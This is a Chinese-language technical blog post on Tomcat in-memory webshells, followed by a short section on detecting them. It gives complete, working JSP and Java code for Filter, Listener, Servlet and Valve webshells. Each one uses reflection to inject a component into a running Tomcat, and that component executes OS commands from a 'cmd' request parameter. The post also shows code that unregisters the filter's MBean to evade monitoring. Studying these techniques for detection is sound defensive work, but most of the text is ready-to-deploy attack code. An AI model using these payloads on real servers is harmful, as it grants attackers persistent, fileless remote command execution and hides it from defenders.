Tomcat 内存马分析及检测

#Filter

Filter作用就是对web资源进行拦截,做一些处理后再交给下一个Filter或servlet处理。通常都是用来拦截request或response进行处理。

Filter调用流程:

  1. 创建FilterChain,从FilterMaps中找出与请求URL对应的Filter名称,获取该名称对应的FilterConfig(在filterConfigs中查找),并添加到FilterChain中。
  2. 调用FilterChain的doFilter()函数,在该函数中调用internalDoFilter()来遍历获取FilterChain里FilterConfig中Filter对象的doFilter方法。

#静态添加Filter

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
package com.example.web.filter;
import javax.servlet.*;
import java.io.IOException;

public class customfilter implements Filter {
//和我们编写的Servlet程序一样,Filter的创建和销毁由WEB服务器负责。web 应用程序启动时,web 服务器将创建Filter 的实例对象,并调用其init方法,读取web.xml配置,完成对象的初始化功能,从而为后续的用户请求作好拦截的准备工作(filter对象只会创建一次,init方法也只会执行一次)。开发人员通过init方法的参数,可获得代表当前filter配置信息的FilterConfig对象。
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter 初始化创建");
    }
//这个方法完成实际的过滤操作。当客户请求访问与过滤器关联的URL的时候,Servlet过滤器将先执行doFilter方法。FilterChain参数用于访问后续过滤器。
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("执行过滤操作");
        filterChain.doFilter(servletRequest,servletResponse);
    }
//Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。在Web容器卸载 Filter 对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。
    public void destroy() {}
}

在web.xml中注册filter,web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。这里设置url-pattern/hello-servlet访问/hello-servleturl时就会触发。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="<http://xmlns.jcp.org/xml/ns/javaee>"
         xmlns:xsi="<http://www.w3.org/2001/XMLSchema-instance>"
         xsi:schemaLocation="<http://xmlns.jcp.org/xml/ns/javaee> <http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd>"
         version="4.0">

    <filter>
        <filter-name>myfilter</filter-name>
        <filter-class>com.example.web.filter.customfilter</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>myfilter</filter-name>
        <url-pattern>/hello-servlet</url-pattern>
    </filter-mapping>
</web-app>

#动态添加Filter

查看StandardContext对象,可以看到filterConfigs、filterMaps、filterDefs均在其中。

  1. filterDefs中存放了类似于Web.xml中filter-namefilter-class的对应关系。
  2. filterConfigs中存放了filterDef和当时的Context。
  3. filterMaps中存放了类似于Web.xml中filter-nameurl-pattern的对应关系,里面代表了各个filter之间的调用顺序。

  1. 获取Context

    参考之前写的文章 ,获取Tomcat 6-9版本的StandardContext。

  2. 注册内存马(JSP)

    在编写代码时需要注意: 在tomcat不同版本需要通过不同的库引入FilterMap和FilterDef。

    1
    2
    3
    4
    5
    6
    7
    
    <!-- tomcat 7 -->
    <%@ page import = "org.apache.catalina.deploy.FilterMap" %>
    <%@ page import = "org.apache.catalina.deploy.FilterDef" %>
    
    <!-- tomcat 8/9 -->
    <%@ page import = "org.apache.tomcat.util.descriptor.web.FilterMap" %>
    <%@ page import = "org.apache.tomcat.util.descriptor.web.FilterDef"  %>
    

    Filter创建流程:

    1
    2
    3
    4
    
    1. 创建一个恶意Filter,利用FilterDefFilter进行一个封装
    2. FilterDef添加到FilterDefsfilterConfigs  
    3. 创建FilterMap ,将Filterurlpattern相对应,存放到filterMaps中(由于Filter生效会有一个先后顺序,所以让自定义的Filter放在最前面)
    4. 每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以内存马就可以一直驻留下去,直到Tomcat重启
    

#Tomcat7 及以上实现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "my_newfilter";
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null) {
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null) {
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("cmd.exe", "/c", req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes, 0, len));
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }

            @Override
            public void destroy() {

            }

        };
        //添加filter到filterDef
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        //添加filterDef到filterDefs中
        standardContext.addFilterDef(filterDef);
        //创建FilterMap
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        //将该FilterMap添加到最前面
        standardContext.addFilterMapBefore(filterMap);
        //创建ApplicationFilterConfig类, 并将它添加到filterConfigs中
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
        filterConfigs.put(name, filterConfig);
        out.print("Success!");
    }
%>

#Tomcat6 实现

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
package com.example.demo;

import javax.servlet.*;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;

import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardEngine;
import org.apache.catalina.core.StandardHost;
import org.apache.catalina.deploy.FilterDef;
import org.apache.catalina.deploy.FilterMap;

public class goodServlet extends HttpServlet {
    public void init() {
    }

    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {

        try {
            PrintWriter out = response.getWriter();
            Tomcat6789 a = new Tomcat6789();
            StandardContext standardContext=a.getSTC();
            Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);
            final String name="idoaiod";
            if(filterConfigs.get(name) == null) {
                Filter filter = new myfilter();
                FilterDef filterDef = new FilterDef();
                filterDef.setFilterName(name);
                filterDef.setFilterClass(filter.getClass().getName());
                //添加filterDef到filterDefs中
                standardContext.addFilterDef(filterDef);
                //创建FilterMap
                FilterMap filterMap = new FilterMap();
                filterMap.addURLPattern("/*");
                filterMap.setFilterName(name);
                standardContext.addFilterMap(filterMap);
                //创建ApplicationFilterConfig类, 并将它添加到filterConfigs中
                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
                constructor.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
                filterConfigs.put(name, filterConfig);
                
                out.println("injected");
            }

        } catch (Exception e) {
            e.printStackTrace();
        }

    }

    public void destroy() {
    }
    static public class myfilter implements Filter {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {

        }

        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            HttpServletRequest req = (HttpServletRequest) servletRequest;
            if (req.getParameter("cmd") != null) {
                byte[] bytes = new byte[1024];
                Process process = new ProcessBuilder(req.getParameter("cmd")).start();
                int len = process.getInputStream().read(bytes);
                servletResponse.getWriter().write(new String(bytes, 0, len));
                process.destroy();
                return;
            }
            filterChain.doFilter(servletRequest, servletResponse);
        }

        @Override
        public void destroy() {

        }

    }
    class Tomcat6789 {
        String uri;
        String serverName;
        StandardContext standardContext;

        public Object getField(Object object, String fieldName) {
            Field declaredField;
            Class clazz = object.getClass();
            while (clazz != Object.class) {
                try {

                    declaredField = clazz.getDeclaredField(fieldName);
                    declaredField.setAccessible(true);
                    return declaredField.get(object);
                } catch (NoSuchFieldException e) {
                } catch (IllegalAccessException e) {
                }
                clazz = clazz.getSuperclass();
            }
            return null;
        }

        public Object GetAcceptorThread() {
            //获取当前所有线程
            Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
            //从线程组中找到Acceptor所在的线程 在tomcat6中的格式为:Http-端口-Acceptor
            for (Thread thread : threads) {
                if (thread == null || thread.getName().contains("exec")) {
                    continue;
                }
                if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
                    Object target = this.getField(thread, "target");
                    if (!(target instanceof Runnable)) {
                        try {
                            Object target2 = this.getField(thread, "this$0");
                            target = thread;
                        } catch (Exception e) {
                            continue;
                        }
                    }
                    Object jioEndPoint = getField(target, "this$0");
                    if (jioEndPoint == null) {
                        try {
                            jioEndPoint = getField(target, "endpoint");
                        } catch (Exception e) {
                            continue;
                        }
                    }
                    return jioEndPoint;
                }
            }
            return null;
        }

        public Tomcat6789() {
            Object jioEndPoint = this.GetAcceptorThread();
            if (jioEndPoint == null) {
                return;
            }
            Object object = getField(getField(jioEndPoint, "handler"), "global");
            //从找到的Acceptor线程中获取请求域名、请求的路径
            java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
            Iterator iterator = processors.iterator();
            while (iterator.hasNext()) {
                Object next = iterator.next();
                Object req = getField(next, "req");
                Object serverPort = getField(req, "serverPort");
                if (serverPort.equals(-1)) {
                    continue;
                }
                org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
                this.serverName = (String) getField(serverNameMB, "strValue");
                if (this.serverName == null) {
                    this.serverName = serverNameMB.toString();
                }
                org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB");
                this.uri = (String) getField(uriMB, "strValue");
                if (this.uri == null) {
                    this.uri = uriMB.toString();
                }
                //根据获取到的服务器名、路径信息获取StandardContext
                this.getStandardContext();
                return;
            }
        }

        public void getStandardContext() {
            Object jioEndPoint = this.GetAcceptorThread();
            if (jioEndPoint == null) {
                return;
            }
            Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
            StandardEngine engine = (StandardEngine) getField(service, "container");
            if (engine == null) {
                engine = (StandardEngine) getField(service, "engine");
            }

            HashMap children = (HashMap) getField(engine, "children");
            StandardHost standardHost = (StandardHost) children.get(this.serverName);
            if(standardHost==null){
                standardHost = (StandardHost) children.get("localhost");
            }
            children = (HashMap) getField(standardHost, "children");
            Iterator iterator = children.keySet().iterator();
            while (iterator.hasNext()) {
                String contextKey = (String) iterator.next();
                if (contextKey.isEmpty()||!(this.uri.startsWith(contextKey))) {
                    continue;
                }
                StandardContext standardContext = (StandardContext) children.get(contextKey);
                this.standardContext = standardContext;
                return;
            }
        }
        public StandardContext getSTC() {
            return this.standardContext;
        }
    }
}

注销Filter内存马

Tomcat注销filter其实就是将该Filter从全局filterDefs和filterMaps中清除掉。具体的操作分别如下removeFilterDef和removeFilterMap两个方法中,只需要反射调用它们即可注销Filter。

#Listener

Tomcat对这三个功能组件的加载顺序是: listener -> filter -> servlet

监听器用于监听Web应用中某些对象的创建、销毁、增加,修改,删除等动作的发生,然后作出相应的响应处理。当监听范围的对象状态发生变化的时候,服务器自动调用监听器对象中的方法。常用于统计网站在线人数、系统加载时进行信息初始化、统计网站的访问量等等。

Listener主要分为三个大类:

  1. ServletContext监听: 用于对Servlet整个上下文进行监听(创建、销毁)
  2. Session监听: 对Session的整体状态的监听
  3. Request监听: 用于对Request请求进行监听(创建、销毁)

前两种不适合作为内存Webshell,因为ServletContext涉及到服务器的启动跟停止或是Session的建立跟销毁时才会执行监听器中的代码。适合拿来作为内存马的是ServletRequestListener,它主要用于监听ServletRequest对象的创建和销毁。

在StandardHostValve的Invoke方法中调用:context.fireRequestInitEvent(request.getRequest()) 并在fireRequestInitEvent方法中遍历当前StandardContext的所有Listener并进行初始化。

代码实现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>

<%
    ServletContext servletContext = request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    ServletRequestListener servletRequestListener = new ServletRequestListener() {
        @Override
        public void requestDestroyed(ServletRequestEvent servletRequestEvent) {

        }

        @Override
        public void requestInitialized(ServletRequestEvent servletRequestEvent) {
            String cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
            if (cmd != null) {
                try {
                    Process ps = Runtime.getRuntime().exec(cmd);
                    BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
                    StringBuffer sb = new StringBuffer();
                    String line;
                    while ((line = br.readLine()) != null) {
                        sb.append(line).append("<br>");//执行结果加上回车
                    }
                    String result = sb.toString();
                    response.getWriter().write(result);
                } catch (IOException e) {
                }
            }
        }
    };
    standardContext.addApplicationEventListener(servletRequestListener);
    out.println("inject success");
%>

不能直接用ApplicationContext的addLisener添加Listener,因为该方法首先会判断web应用是不是已经初始化运行了,如果是的话则不能在中途添加Listener(addFilter方法也是这个道理)。所以需要通过反射去调用StandardContext对象的addApplicationEventListener方法来添加Listenner。

#Servlet

Servlet是运行在Web服务器或应用服务器上的程序,它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。Servlet的生命周期开始于Web容器的启动,它会被加载到Web容器内存中,直到Web容器停止运行或者重新装入servlet时候结束(Servlet的service方法由ApplicationFilterChain的internalDoFilter方法调用)。

Tomcat的一个Wrapper代表一个Servlet ,而Servlet的Wrapper对象均在StandardContext的children属性中。所以这里创建以给Wrapper对象,把servlet写进去后直接用standardContext.addChild()添加到children。

代码实现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    Servlet servlet = new Servlet() {
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"bash", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = servletResponse.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {

        }

        @Override
        public ServletConfig getServletConfig() {
            return null;
        }

        @Override
        public String getServletInfo() {
            return null;
        }

        @Override
        public void destroy() {

        }
    };
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Wrapper newWrapper = standardContext.createWrapper();
    String servletName="ff";
    newWrapper.setName(servletName);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());
    standardContext.addChild(newWrapper);
//将Wrapper对象和访问的url绑定
    standardContext.addServletMapping("/gugubird0", servletName);
%>

注销Servlet的原理也是类似,将该Servlet从全局servletMappings和children中清除掉即可。在Tomcat源码中对应的是removeServletMapping和removeChild方法。

#Valve

通过获取standardContext容器的Pipeline链,插入自定义的Valve对象。(Valve的机制见前文介绍)

通过standardContext.getPipeline().getFirst().getNext()获取到添加的Valve。

代码实现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    ValveBase StandardContextsValve  = new ValveBase() {
        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            HttpServletRequest req = (HttpServletRequest) request;
            HttpServletResponse resp = (HttpServletResponse) response;
            String cmd=req.getParameter("cmd");
            if ( cmd!= null&&!"".equals(cmd)) {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                resp.getWriter().write(output);
                resp.getWriter().flush();
            }
            this.getNext().invoke(request, response);
        }
    };

    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
// 直接通过StandardContext获取当前容器的Pipeline,往里面添加Valve内存马即可
    standardContext.getPipeline().addValve(StandardContextsValve);
%>

#内存马检测

  1. 利用VisualVM监控mbean

    注册Filter的时候会触发registerJMX的操作来注册mbean。

    • 但可以在代码中删除注册的mbean

       1
       2
       3
       4
       5
       6
       7
       8
       9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      
      import javax.management.MBeanServer;
      import javax.management.ObjectName;
      import java.util.Set;
      public class UnRegister {
          static  {
              try{
              Class registryClass = Class.forName("org.apache.tomcat.util.modeler.Registry");
              MBeanServer mBeanServer = (MBeanServer) registryClass.getMethod("getMBeanServer").invoke( registryClass.getMethod("getRegistry", Object.class, Object.class).invoke(null,null,null));
              Set<ObjectName> objectNameSet = null;
                  objectNameSet = mBeanServer.queryNames(null, null);
                  for (ObjectName objectName : objectNameSet) {
                      if ("Filter".equals(objectName.getKeyProperty("j2eeType"))) {
                          Object filterName = mBeanServer.getAttribute(objectName, "filterName");
                          if ("litchi".equals((String) filterName)) {
                              mBeanServer.unregisterMBean(objectName);
                          }
                      }
                  }
              }catch (Exception e) {
                  e.printStackTrace();
              }
          }
      }
      
  2. 利用Java Instrument(Java Agent)检测

    对于敏感类(比如实现了javax.servlet.Filter接口的类)利用retransformClasses方法进行retransform,编写ClassFileTransformer实现类将这些敏感类加载的class dump出来,接着就可以使用反编译工具转换成源代码判断是否是Webshell

    利用工具: alibaba/arthas

  3. 利用 Agent 的检测思路

    1. 获取tomcat jvm中所有加载的类
    2. 遍历每个类,把可能被攻击方新增/修改内存中的类,标记为风险类(比如实现了filter/servlet的类)
    3. 遍历风险类,检查高风险类的class文件是否存在(c磁盘中没有对应的class文件只驻留在内存)。反编译风险类字节码,检查java文件中包含恶意代码
  4. classLoader可疑:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader

    这是反序列化漏洞执行代码用的classLoader或其他自定义的classloader。

#参考

  1. Tomcat 内存马学习(一):Filter型
  2. Tomcat之Valve内存马
加载评论